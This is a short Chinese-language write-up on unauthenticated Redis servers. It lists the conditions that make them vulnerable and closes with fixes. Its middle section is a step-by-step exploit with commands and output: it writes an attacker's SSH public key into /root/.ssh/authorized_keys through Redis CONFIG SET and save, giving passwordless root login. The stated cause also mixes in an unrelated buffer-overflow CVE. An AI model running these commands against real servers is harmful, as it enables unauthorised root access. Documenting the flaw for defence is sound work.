1. 漏洞概述
在一定条件下,Redis没有设置密码,会出现一些安全问题
- 任何人都能远程连接 Redis,读取 Redis 中的数据
- 使用 Redis 的一些命令,可以在 服务器上写入 SSH 公钥,使用私钥免密登录到服务器上
2. 漏洞产生的原因:
Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的 CONFIG SET
命令中 client-output-buffer-limit 选项处理存在越界写漏洞。构造的 CONFIG SET
命令可导致越界写,代码执行。
3. 产生安全问题的条件
1. Redis 未设置密码
2. Redis 使用 root 用户启动
3. Redis 端口暴露在公网
4. Redis 没有限制访问IP
4. 漏洞利用的过程
- 在本地生成公私钥
ssh-keygen
- 将公钥写入Redis
~]# cat /root/.ssh/id_rsa.pub | redis-cli -h 192.168.66.51 -x set crackit
- 将公钥写进受害者主机的
/root/.ssh
下,并且名称为 authorized_keys
192.168.66.51:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
192.168.66.51:6379> CONFIG set dir /root/.ssh/
OK
192.168.66.51:6379> config set dbfilename "authorized_keys"
OK
192.168.66.51:6379> save
OK
192.168.66.51:6379> CONFIG set dir /var/lib/redis
OK
192.168.66.51:6379> save
OK
这样我们就完成了远程无密码访问。
5. 解决方案
1. Redis 使用普通用户启动
2. Redis 放在内网,并设置白名单访问
3. Redis 设置密码